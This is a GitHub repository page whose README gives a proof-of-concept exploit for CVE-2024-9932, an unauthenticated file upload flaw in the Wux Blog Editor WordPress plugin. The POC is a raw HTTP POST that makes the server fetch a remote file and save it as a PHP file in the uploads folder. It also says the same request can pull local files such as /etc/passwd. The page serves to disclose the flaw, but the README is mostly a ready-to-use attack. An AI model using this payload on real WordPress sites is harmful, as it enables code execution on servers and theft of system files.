https://github.com/randomrobbiebf/cve-2024-9932

Wux Blog Editor <= 3.0.0 - Unauthenticated Arbitrary File Upload
https://github.com/randomrobbiebf/cve-2024-9932

Last synced: about 1 month ago
JSON representation

Wux Blog Editor <= 3.0.0 - Unauthenticated Arbitrary File Upload

• Host: GitHub
• URL: https://github.com/randomrobbiebf/cve-2024-9932
• Owner: RandomRobbieBF
• Created: 2024-11-05T15:00:39.000Z (about 2 months ago)
• Default Branch: main
• Last Pushed: 2024-11-05T15:02:04.000Z (about 2 months ago)
• Last Synced: 2024-11-05T16:26:32.007Z (about 2 months ago)
• Size: 1.95 KB
• Stars: 0
• Watchers: 1
• Forks: 0
• Open Issues: 0
• Metadata Files:
  • Readme: README.md

Awesome Lists containing this project

README

        
# CVE-2024-9932

Wux Blog Editor <= 3.0.0 - Unauthenticated Arbitrary File Upload

# Description:

The Wux Blog Editor plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient file type validation in the 'wuxbt_insertImageNew' function in versions up to, and including, 3.0.0. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possi

```

Link: CVE-2024-9932

State: PUBLISHED

Score: 9.8

CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

```

POC

---

```

POST /wp-json/external-post-editor/v2/image-upload HTTP/1.1

Host: kubernetes.docker.internal

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Referer: http://kubernetes.docker.internal/wp-admin/plugins.php?plugin_status=all&paged=1&s

Content-Type: application/json; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 165

Origin: http://kubernetes.docker.internal

Connection: keep-alive

{

    "url": "https://rfi.nessus.org/rfi.txt",

    "imageName": "rf.php",

    "image_alt": "Description of the image",

    "image_title": "Title of the image"

}

```

File ended up in /wp-content/uploads/2024/11/rf.php

You can also provide it a file location like /etc/passwd